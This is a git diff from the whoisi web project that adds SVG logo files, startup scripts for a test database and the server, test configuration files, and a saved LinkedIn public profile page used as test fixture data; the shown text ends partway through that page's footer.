diff --git a/sources/whoisi-icon-mini.svg b/sources/whoisi-icon-mini.svg
new file mode 100644 (file)
index 0000000..ba855b0
--- /dev/null
@@ -0,0 +1,107 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+   xmlns:dc="http://purl.org/dc/elements/1.1/"
+   xmlns:cc="http://creativecommons.org/ns#"
+   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+   xmlns:svg="http://www.w3.org/2000/svg"
+   xmlns="http://www.w3.org/2000/svg"
+   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+   width="800px"
+   height="600px"
+   id="svg2383"
+   sodipodi:version="0.32"
+   inkscape:version="0.46"
+   sodipodi:docname="whoisi-icon-mini.svg"
+   inkscape:output_extension="org.inkscape.output.svg.inkscape"
+   inkscape:export-filename="/home/blizzard/Desktop/whoisi-icon-mini.png"
+   inkscape:export-xdpi="90"
+   inkscape:export-ydpi="90">
+  <defs
+     id="defs2385">
+    <inkscape:perspective
+       sodipodi:type="inkscape:persp3d"
+       inkscape:vp_x="0 : 300 : 1"
+       inkscape:vp_y="0 : 1000 : 0"
+       inkscape:vp_z="800 : 300 : 1"
+       inkscape:persp3d-origin="400 : 200 : 1"
+       id="perspective2391" />
+  </defs>
+  <sodipodi:namedview
+     id="base"
+     pagecolor="#ffffff"
+     bordercolor="#666666"
+     borderopacity="1.0"
+     inkscape:pageopacity="0.0"
+     inkscape:pageshadow="2"
+     inkscape:zoom="3.3941125"
+     inkscape:cx="276.24699"
+     inkscape:cy="304.82233"
+     inkscape:current-layer="layer2"
+     inkscape:document-units="px"
+     showgrid="true"
+     inkscape:window-width="1353"
+     inkscape:window-height="791"
+     inkscape:window-x="79"
+     inkscape:window-y="56"
+     showguides="false">
+    <inkscape:grid
+       type="xygrid"
+       id="grid2384" />
+  </sodipodi:namedview>
+  <metadata
+     id="metadata2388">
+    <rdf:RDF>
+      <cc:Work
+         rdf:about="">
+        <dc:format>image/svg+xml</dc:format>
+        <dc:type
+           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+      </cc:Work>
+    </rdf:RDF>
+  </metadata>
+  <g
+     id="layer1"
+     inkscape:label="Layer 1"
+     inkscape:groupmode="layer">
+    <rect
+       style="fill:#e10000;fill-opacity:1"
+       id="rect2399"
+       width="128.07376"
+       height="127.05257"
+       x="170.79289"
+       y="242.22017"
+       ry="63.526283"
+       transform="matrix(0.997463,-7.1186567e-2,5.922812e-2,0.9982445,0,0)"
+       inkscape:export-xdpi="11.25"
+       inkscape:export-ydpi="11.25" />
+    <rect
+       style="fill:#e20000;fill-opacity:1"
+       id="rect2408"
+       width="66.175758"
+       height="64"
+       x="250.08014"
+       y="288.08334"
+       ry="0"
+       inkscape:export-filename="/tmp/rect2399.ico.png"
+       inkscape:export-xdpi="11.25"
+       inkscape:export-ydpi="11.25" />
+  </g>
+  <g
+     inkscape:groupmode="layer"
+     id="layer2"
+     inkscape:label="text">
+    <text
+       xml:space="preserve"
+       style="font-size:72px;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#ffffff;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Sans;-inkscape-font-specification:Sans"
+       x="214.46126"
+       y="315.85516"
+       id="text2393"><tspan
+         sodipodi:role="line"
+         x="214.46126"
+         y="315.85516"
+         style="font-size:72px;font-weight:bold;fill:#ffffff;fill-opacity:1;-inkscape-font-specification:Sans Bold"
+         id="tspan2384">W</tspan></text>
+  </g>
+</svg>
diff --git a/sources/whoisi-icon.svg b/sources/whoisi-icon.svg
new file mode 100644 (file)
index 0000000..a9e07a7
--- /dev/null
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+   xmlns:dc="http://purl.org/dc/elements/1.1/"
+   xmlns:cc="http://creativecommons.org/ns#"
+   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+   xmlns:svg="http://www.w3.org/2000/svg"
+   xmlns="http://www.w3.org/2000/svg"
+   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+   width="800px"
+   height="600px"
+   id="svg2383"
+   sodipodi:version="0.32"
+   inkscape:version="0.46"
+   sodipodi:docname="whoisi-icon.svg"
+   inkscape:output_extension="org.inkscape.output.svg.inkscape">
+  <defs
+     id="defs2385">
+    <inkscape:perspective
+       sodipodi:type="inkscape:persp3d"
+       inkscape:vp_x="0 : 300 : 1"
+       inkscape:vp_y="0 : 1000 : 0"
+       inkscape:vp_z="800 : 300 : 1"
+       inkscape:persp3d-origin="400 : 200 : 1"
+       id="perspective2391" />
+  </defs>
+  <sodipodi:namedview
+     id="base"
+     pagecolor="#ffffff"
+     bordercolor="#666666"
+     borderopacity="1.0"
+     inkscape:pageopacity="0.0"
+     inkscape:pageshadow="2"
+     inkscape:zoom="1.2"
+     inkscape:cx="616.43299"
+     inkscape:cy="272.32237"
+     inkscape:current-layer="layer2"
+     inkscape:document-units="px"
+     showgrid="true"
+     inkscape:window-width="1353"
+     inkscape:window-height="779"
+     inkscape:window-x="79"
+     inkscape:window-y="43">
+    <inkscape:grid
+       type="xygrid"
+       id="grid2384" />
+  </sodipodi:namedview>
+  <metadata
+     id="metadata2388">
+    <rdf:RDF>
+      <cc:Work
+         rdf:about="">
+        <dc:format>image/svg+xml</dc:format>
+        <dc:type
+           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+      </cc:Work>
+    </rdf:RDF>
+  </metadata>
+  <g
+     id="layer1"
+     inkscape:label="Layer 1"
+     inkscape:groupmode="layer">
+    <rect
+       style="fill:#e10000;fill-opacity:1"
+       id="rect2399"
+       width="426.66669"
+       height="115.41668"
+       x="188.33333"
+       y="236.66666"
+       ry="57.70834"
+       inkscape:export-xdpi="21.09375"
+       inkscape:export-ydpi="21.09375"
+       inkscape:export-filename="/home/blizzard/src/whoisi/sources/whoisi-100.png" />
+    <rect
+       style="fill:#e20000;fill-opacity:1"
+       id="rect2408"
+       width="56.233582"
+       height="57.325329"
+       x="558.76831"
+       y="293.37436"
+       ry="0"
+       transform="matrix(0.9999969,2.4705776e-3,0,1,0,0)" />
+  </g>
+  <g
+     inkscape:groupmode="layer"
+     id="layer2"
+     inkscape:label="text">
+    <text
+       xml:space="preserve"
+       style="font-size:72px;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#ffffff;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Sans;-inkscape-font-specification:Sans"
+       x="250.53868"
+       y="320.03049"
+       id="text2393"><tspan
+         sodipodi:role="line"
+         id="tspan2395"
+         x="250.53868"
+         y="320.03049"
+         style="font-size:72px;font-weight:bold;fill:#ffffff;fill-opacity:1;-inkscape-font-specification:Sans Bold">WHOISI</tspan></text>
+  </g>
+</svg>
diff --git a/start-test-db.py b/start-test-db.py
new file mode 100755 (executable)
index 0000000..0d1605f
--- /dev/null
@@ -0,0 +1,34 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import reactor
+from tests.twisted.database import MySQLTestInstance
+
+m = MySQLTestInstance()
+m.create()
+print("open database is running on port 9999, database in /tmp/whoisi")
+reactor.run()
+print("shutting down server")
+m.destroy()
+print("done.")
diff --git a/start-test-whoisi.sh b/start-test-whoisi.sh
new file mode 100755 (executable)
index 0000000..cded9ca
--- /dev/null
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+exec ./start-whoisi.py ./test-ws.cfg
diff --git a/start-whoisi.py b/start-whoisi.py
new file mode 100755 (executable)
index 0000000..6840862
--- /dev/null
@@ -0,0 +1,59 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+__requires__="TurboGears"
+import pkg_resources
+
+from turbogears import config, update_config, start_server
+from turbogears.startup import call_on_startup, call_on_shutdown
+import cherrypy
+cherrypy.lowercase_api = True
+from os.path import *
+import sys
+
+from whoisi.utils.follow import follow_startup, follow_shutdown
+
+# first look on the command line for a desired config file,
+# if it's not on the command line, then
+# look for setup.py in this directory. If it's not there, this script is
+# probably installed
+if len(sys.argv) > 1:
+    update_config(configfile=sys.argv[1],
+        modulename="whoisi.config")
+elif exists(join(dirname(__file__), "setup.py")):
+    update_config(configfile="dev.cfg",modulename="whoisi.config")
+else:
+    update_config(configfile="prod.cfg",modulename="whoisi.config")
+config.update(dict(package="whoisi"))
+
+# Check that we have the recpatcha key here
+if config.get("whoisi.recaptcha_private_key") is None:
+    print("WARNING: no recaptcha private key is set")
+
+# Set up our startup and shutdown hooks for the following code
+call_on_startup.append(follow_startup)
+call_on_shutdown.append(follow_shutdown)
+
+from whoisi.controllers import Root
+start_server(Root())
diff --git a/test-ws.cfg b/test-ws.cfg
new file mode 100644 (file)
index 0000000..f2d1cd3
--- /dev/null
@@ -0,0 +1,76 @@
+# You can place test-specific configuration options here (like test db uri, etc)
+
+#sqlobject.dburi = "sqlite:///:memory:"
+
+[global]
+# This is where all of your settings go for your development environment
+# Settings that are the same for both development and production
+# (such as template engine, encodings, etc.) all go in 
+# whoisi/config/app.cfg
+
+# DATABASE
+
+# pick the form for your database
+# sqlobject.dburi="postgres://username@hostname/databasename"
+# sqlobject.dburi="mysql://username:password@hostname:port/databasename"
+# sqlobject.dburi="sqlite:///file_name_and_path"
+
+# If you have sqlite, here's a simple default to get you started
+# in development
+#sqlobject.dburi="sqlite://%(current_dir_uri)s/devdata.sqlite"
+sqlobject.dburi="mysql://root@127.0.0.1:9999/whoisi?charset=utf8"
+
+
+# if you are using a database or table type without transactions
+# (MySQL default, for example), you should turn off transactions
+# by prepending notrans_ on the uri
+# sqlobject.dburi="notrans_mysql://username:password@hostname:port/databasename"
+
+# for Windows users, sqlite URIs look like:
+# sqlobject.dburi="sqlite:///drive_letter:/path/to/file"
+
+# SERVER
+
+# Some server parameters that you may want to tweak
+server.socket_port=9090
+
+# Enable the debug output at the end on pages.
+# log_debug_info_filter.on = False
+
+server.environment="development"
+autoreload.package="whoisi"
+
+# Auto-Reload after code modification
+# autoreload.on = True
+
+# Set to True if you'd like to abort execution if a controller gets an
+# unexpected parameter. False by default
+tg.strict_parameters = True
+
+# replace this with your private recaptcha key
+# whoisi.recaptcha_private_key = ""
+
+# LOGGING
+# Logging configuration generally follows the style of the standard
+# Python logging module configuration. Note that when specifying
+# log format messages, you need to use *() for formatting variables.
+# Deployment independent log configuration is in whoisi/config/log.cfg
+[logging]
+
+[[loggers]]
+[[[whoisi]]]
+level='DEBUG'
+qualname='whoisi'
+handlers=['debug_out']
+
+[[[allinfo]]]
+level='INFO'
+handlers=['debug_out']
+
+[[[access]]]
+level='INFO'
+qualname='turbogears.access'
+handlers=['access_out']
+propagate=0
+
+
diff --git a/test.cfg b/test.cfg
new file mode 100644 (file)
index 0000000..a476836
--- /dev/null
+++ b/test.cfg
@@ -0,0 +1,73 @@
+# You can place test-specific configuration options here (like test db uri, etc)
+
+#sqlobject.dburi = "sqlite:///:memory:"
+
+[global]
+# This is where all of your settings go for your development environment
+# Settings that are the same for both development and production
+# (such as template engine, encodings, etc.) all go in 
+# whoisi/config/app.cfg
+
+# DATABASE
+
+# pick the form for your database
+# sqlobject.dburi="postgres://username@hostname/databasename"
+# sqlobject.dburi="mysql://username:password@hostname:port/databasename"
+# sqlobject.dburi="sqlite:///file_name_and_path"
+
+# If you have sqlite, here's a simple default to get you started
+# in development
+#sqlobject.dburi="sqlite://%(current_dir_uri)s/devdata.sqlite"
+sqlobject.dburi="mysql://root@127.0.0.1:9999/whoisi?charset=utf8"
+
+
+# if you are using a database or table type without transactions
+# (MySQL default, for example), you should turn off transactions
+# by prepending notrans_ on the uri
+# sqlobject.dburi="notrans_mysql://username:password@hostname:port/databasename"
+
+# for Windows users, sqlite URIs look like:
+# sqlobject.dburi="sqlite:///drive_letter:/path/to/file"
+
+# SERVER
+
+# Some server parameters that you may want to tweak
+server.socket_port=9090
+
+# Enable the debug output at the end on pages.
+# log_debug_info_filter.on = False
+
+server.environment="development"
+autoreload.package="whoisi"
+
+# Auto-Reload after code modification
+# autoreload.on = True
+
+# Set to True if you'd like to abort execution if a controller gets an
+# unexpected parameter. False by default
+tg.strict_parameters = True
+
+# LOGGING
+# Logging configuration generally follows the style of the standard
+# Python logging module configuration. Note that when specifying
+# log format messages, you need to use *() for formatting variables.
+# Deployment independent log configuration is in whoisi/config/log.cfg
+[logging]
+
+[[loggers]]
+#[[[whoisi]]]
+#level='DEBUG'
+#qualname='whoisi'
+#handlers=['debug_out']
+
+#[[[allinfo]]]
+#level='INFO'
+#handlers=['debug_out']
+
+#[[[access]]]
+#level='INFO'
+#qualname='turbogears.access'
+#handlers=['access_out']
+#propagate=0
+
+
diff --git a/tests/__init__.py b/tests/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/tests/nose/__init__.py b/tests/nose/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/tests/nose/data/linkedin/christopherblizzard b/tests/nose/data/linkedin/christopherblizzard
new file mode 100644 (file)
index 0000000..b56d112
--- /dev/null
@@ -0,0 +1,473 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
+<head>
+  <title>LinkedIn: Christopher Blizzard</title>
+  <link rel="shortcut icon" type="image/ico" href="/favicon.ico" />
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <meta name="description" content="Christopher Blizzard's professional profile on LinkedIn. LinkedIn is a networking tool that helps users like Christopher Blizzard discover inside connections to recommended job candidates, industry experts and business partners." />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/default.css" media="screen,projection,print" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/screen.css" media="screen,projection" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/print.css" media="print" />
+  <script type="text/javascript" src="/js/showhide.js"></script>
+  <script type="text/javascript" src="/js/public_profile.js"></script>
+  <script type="text/javascript">
+    if(typeof(i18n) == 'undefined') var i18n = {}; 
+    i18n.TEXT_PLEASE_ENTER = "Please enter a first and last name.";
+  </script>
+  <script type="text/javascript" src="/js/scripts.js"></script>
+  <script type="text/javascript" src="/js/adproxy.js"></script>
+  <script type="text/javascript">var google_keywords = null, google_ad_client = 'pub-2283433109277150', dbl_ord = Math.random() * 10000000000000000;</script>
+</head>
+<body id="www-linkedin-com" class="public-profile">
+<div class="hresume">
+    <div class="profile-header">
+      <div class="masthead vcard contact portrait">
+        <div id="nameplate">
+          <h1 id="name"><span class="fn n"><span class="given-name">Christopher</span> <span class="family-name">Blizzard</span></span></h1>
+        </div>
+        <div class="content">
+          <div class="info">
+              <div class="image"><img class="photo" src="http://media.linkedin.com/mpr/mpr/shrink_80_80/p/3/000/000/36c/349ea67.jpg" alt="Christopher Blizzard"/></div>
+              <p class="headline title summary">Evangelist at Mozilla Corporation</p>
+            <div class="adr">
+              <p class="locality">
+                Greater Boston Area
+              </p>
+            </div>
+          </div>
+          <div class="actions">
+            <ul>
+              <li id="send-inmail">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=3045343&authToken=s8Ao&authType=name&trk=ppro_cntdir" >Contact Directly</a>
+              </li>
+              <li id="get-introduced">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=3045343&authToken=s8Ao&authType=name&trk=ppro_getintr" >Get introduced through a connection</a>
+              </li>
+                  <li class="website">
+ <a href="http://www.0xdeadbeef.com/weblog/" class="url" rel="me" target="_blank">
+                        My Blog
+                        </a>                   </li>
+            </ul>
+          </div>
+        </div>
+      </div>
+    </div>
+  <div id="main">
+        <div id="overview">
+          <dl>
+              <dt>Current</dt>
+              <dd>
+                <ul class="current">
+                        <li>
+
+
+
+Evangelist at Mozilla Corporation
+
+                        </li>
+                </ul>
+              </dd>
+              <dt>Past</dt>
+              <dd>
+                <ul>
+                        <li>
+
+
+
+Board Member at Mozilla Corporation
+
+                        </li>
+                        <li>
+
+
+
+Software Team Lead for One Laptop per Child at Red Hat, Inc.
+
+                        </li>
+                        <li>
+
+
+
+Engineering Manager, Desktop Group at Red Hat, Inc
+
+                        </li>
+                </ul>
+                  <div class="showhide-block" id="morepast">
+                    <ul>
+                            <li>
+
+
+
+Software Engineer at Red Hat, Inc.
+
+                            </li>
+                            <li>
+
+
+
+Board Member at Mozilla Foundation
+
+                            </li>
+                            <li>
+
+
+
+Software Enginner at AppliedTheory Communications, Inc.
+
+                            </li>
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="morepast-hide">see less...</a></p>
+                  </div>
+                      <p class="seeall showhide-link"><a href="#" id="morepast-show">3 more...</a></p>
+              </dd>
+              <dt class="recommended">Recommended</dt>
+              <dd class="recommended">
+<img src="/img/icon/endorse/icon_endorse_1_35x24.gif" width="35" height="24" alt="Christopher has 2 recommendation(s)" title="Christopher has 2 recommendation(s)" />                <strong class="recommendation-count r1">2</strong> people have recommended Christopher </dd>
+              <dt class="connections">Connections</dt>
+              <dd class="connections">
+                <img src="/img/icon/conx/icon_conx_16_24x24.gif" width="24" height="24" alt="" />
+                <strong class="connection-count">
+                398
+                </strong> connections
+              </dd>
+            <dt>Industry</dt>
+            <dd>
+              Computer Software
+            </dd>
+              <dt>Websites</dt>
+              <dd>
+                <ul>
+                    <li>
+<a href="http://www.0xdeadbeef.com/weblog/" class="url" rel="me" target="_blank">
+                          My Blog
+                          </a>                     </li>
+                </ul>
+              </dd>
+          </dl>
+        </div>
+        <hr />
+        <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { showHide.init(); }
+  // -->
+  </script>
+          <div id="experience">
+            <h2>Christopher Blizzard&#8217;s Experience</h2>
+            <ul class="vcalendar">
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Evangelist</h3>
+      <h4 class="org summary">Mozilla Corporation</h4>
+    
+  <p class="organization-details">(Non-Profit; 51-200 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2007-11-01">November 2007</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4M">(4 months)</abbr>
+        
+      
+  </p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Board Member</h3>
+      <h4 class="org summary">Mozilla Corporation</h4>
+    
+  <p class="organization-details">(Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-08-01">August 2005</abbr>
+         &mdash; <abbr class="dtend" title="2007-11-01">November 2007</abbr>
+        
+        <abbr class="duration" title="P2Y4M">(2 years 4 months)</abbr>
+        
+      
+  </p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Software Team Lead for One Laptop per Child</h3>
+      <h4 class="org summary">Red Hat, Inc.</h4>
+    
+  <p class="organization-details">(Public Company; 1001-5000 employees; rhat; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2006-02-01">February 2006</abbr>
+         &mdash; <abbr class="dtend" title="2007-10-01">October 2007</abbr>
+        
+        <abbr class="duration" title="P1Y9M">(1 year 9 months)</abbr>
+        
+      
+  </p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Engineering Manager, Desktop Group</h3>
+      <h4 class="org summary">Red Hat, Inc</h4>
+    
+  <p class="organization-details">(Public Company; 1001-5000 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-10-01">October 2005</abbr>
+         &mdash; <abbr class="dtend" title="2006-02-01">February 2006</abbr>
+        
+        <abbr class="duration" title="P5M">(5 months)</abbr>
+        
+      
+  </p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Software Engineer</h3>
+      <h4 class="org summary">Red Hat, Inc.</h4>
+    
+  <p class="organization-details">(Public Company; 1001-5000 employees; RHAT; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="1999-02-01">February 1999</abbr>
+         &mdash; <abbr class="dtend" title="2005-09-01">September 2005</abbr>
+        
+        <abbr class="duration" title="P6Y8M">(6 years 8 months)</abbr>
+        
+      
+  </p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Board Member</h3>
+      <h4 class="org summary">Mozilla Foundation</h4>
+    
+  <p class="organization-details">(Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2004-03-01">March 2004</abbr>
+         &mdash; <abbr class="dtend" title="2005-08-01">August 2005</abbr>
+        
+        <abbr class="duration" title="P1Y6M">(1 year 6 months)</abbr>
+        
+      
+  </p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Software Enginner</h3>
+      <h4 class="org summary">AppliedTheory Communications, Inc.</h4>
+    
+  <p class="organization-details">(Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="1996">1996</abbr>
+         &mdash; <abbr class="dtend" title="1999">1999</abbr>
+        
+        <abbr class="duration" title="P3Y">(3 years)</abbr>
+        
+      
+  </p>
+  
+</li>
+
+            </ul>
+          </div>
+          <hr />
+          <div id="additional-information">
+            <h2>Additional Information</h2>
+              <h3>Christopher Blizzard&#8217;s Websites:</h3>
+              <ul class="websites">
+                  <li>
+<a href="http://www.0xdeadbeef.com/weblog/" rel="me" target="_blank">
+                        My Blog
+                        </a>                  </li>
+              </ul>
+          </div>
+          <hr />
+      <div id="contact-settings">
+        <h2>Christopher Blizzard&#8217;s Contact Settings</h2>
+        <h3>Interested In:</h3>
+        <ul>
+            <li>
+              career opportunities
+            </li>
+            <li>
+              consulting offers
+            </li>
+            <li>
+              new ventures
+            </li>
+            <li>
+              job inquiries
+            </li>
+            <li>
+              expertise requests
+            </li>
+            <li>
+              business deals
+            </li>
+            <li>
+              reference requests
+            </li>
+            <li>
+              getting back in touch
+            </li>
+        </ul>
+      </div>
+      <hr />
+      <div class="viewfull">
+        <p><a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=3045343&authToken=s8Ao&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a></p>
+      </div>
+  </div>
+  <div id="control" class="infobar">
+    <div class="powered">
+      <h3> Public profile powered by: <a href="http://www.linkedin.com/home?trk=ppro_pbli" ><img src="/img/logos/logo_82x23.gif" height="23" width="82" alt="LinkedIn"></a>
+      </h3>
+      <p>Create a public profile: <strong>
+        <a href="http://www.linkedin.com/ppl/webprofile?action=gwp&id=3045343&authToken=s8Ao&authType=name&trk=ppro_geturl" >Sign In</a>
+        </strong> or <strong>
+        <a href="https://www.linkedin.com/secure/register?trk=ppro_joinnow" >Join Now</a>
+        </strong></p>
+    </div>
+      <div class="box" id="readmore">
+        <div class="title">
+          <h3>View Christopher&#8217;s full profile:</h3>
+        </div>
+        <div class="content">
+          <ul>
+            <li>See who you and <strong>Christopher Blizzard</strong> know in common</li>
+            <li>Get introduced to <strong>Christopher Blizzard</strong></li>
+            <li>Contact <strong>Christopher Blizzard</strong> directly</li>
+          </ul>
+          <p class="btn">
+            <a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=3045343&authToken=s8Ao&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a>
+          </p>
+        </div>
+      </div>
+    <div class="box" id="search">
+      <div class="title">
+        <h3><strong>Name Search</strong></h3>
+      </div>
+      <div class="content">
+        <p><strong>Search for people you know</strong> from over 17 million professionals already on LinkedIn.</p>
+        <form name="searchForm" action="/pub/dir/" method="get">
+          <p class="field"><span class="lbl">
+            <label for="first">First Name</label>
+            <br />
+            </span>
+            <input type="text" name="first" id="first" />
+            &nbsp;&nbsp;<span class="lbl"><br />
+            <label for="last">Last Name</label>
+            <br />
+            </span>
+            <input type="text" name="last" id="last" />
+          </p>
+          <p class="example">
+            <input class="btn-secondary" type="submit" name="search" value="Search"/> (example: <strong>
+<a href="/pub/dir/Christopher/Blizzard?trk=ppro_find_others" >Christopher Blizzard</a></strong>)
+          </p>
+        </form>
+      </div>
+    </div>
+    <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { fancyLabels.init('search'); }
+  // -->
+  </script>
+    <script type="text/javascript">var dbl_page = 'public_profile';</script>
+    <script type="text/javascript">
+        var google_ad_width = 300, google_ad_height = 250, google_ad_format = '300x250_as';
+      </script>
+      <script type="text/javascript" src="/js/google.js"></script>
+      <script type="text/javascript">
+        var dbl_extra = 'extra=null', dbl_tile = '6', dbl_sz = '300x250';
+        var dbl_profile = LIAds.getProfile().replace(/&/g,';');
+        var dbl_src = "http://ad.doubleclick.net/adj/linkedin.dart/" + dbl_page + ";" + dbl_profile + ";tile=" + dbl_tile + ";dcopt=ist;sz=" + dbl_sz + ";" + encodeURIComponent(dbl_extra) + ";ord=" + dbl_ord +"?";
+        document.write('<script src="' + dbl_src + '" type="text/javascript"><\/script>');
+      </script>
+  </div>
+</div>
+<hr />
+
+
+<div id="footer" class="guest">
+  <div id="directory">
+    <h3>People directory:</h3>
+    <ol type="a">
+      <li><a href="http://www.linkedin.com/find/a.html" >A</a></li>
+      <li><a href="http://www.linkedin.com/find/b.html" >B</a></li>
+      <li><a href="http://www.linkedin.com/find/c.html" >C</a></li>
+      <li><a href="http://www.linkedin.com/find/d.html" >D</a></li>
+      <li><a href="http://www.linkedin.com/find/e.html" >E</a></li>
+      <li><a href="http://www.linkedin.com/find/f.html" >F</a></li>
+      <li><a href="http://www.linkedin.com/find/g.html" >G</a></li>
+      <li><a href="http://www.linkedin.com/find/h.html" >H</a></li>
+      <li><a href="http://www.linkedin.com/find/i.html" >I</a></li>
+      <li><a href="http://www.linkedin.com/find/j.html" >J</a></li>
+      <li><a href="http://www.linkedin.com/find/k.html" >K</a></li>
+      <li><a href="http://www.linkedin.com/find/l.html" >L</a></li>
+      <li><a href="http://www.linkedin.com/find/m.html" >M</a></li>
+      <li><a href="http://www.linkedin.com/find/n.html" >N</a></li>
+      <li><a href="http://www.linkedin.com/find/o.html" >O</a></li>
+      <li><a href="http://www.linkedin.com/find/p.html" >P</a></li>
+      <li><a href="http://www.linkedin.com/find/q.html" >Q</a></li>
+      <li><a href="http://www.linkedin.com/find/r.html" >R</a></li>
+      <li><a href="http://www.linkedin.com/find/s.html" >S</a></li>
+      <li><a href="http://www.linkedin.com/find/t.html" >T</a></li>
+      <li><a href="http://www.linkedin.com/find/u.html" >U</a></li>
+      <li><a href="http://www.linkedin.com/find/v.html" >V</a></li>
+      <li><a href="http://www.linkedin.com/find/w.html" >W</a></li>
+      <li><a href="http://www.linkedin.com/find/x.html" >X</a></li>
+      <li><a href="http://www.linkedin.com/find/y.html" >Y</a></li>
+      <li><a href="http://www.linkedin.com/find/z.html" >Z</a></li>
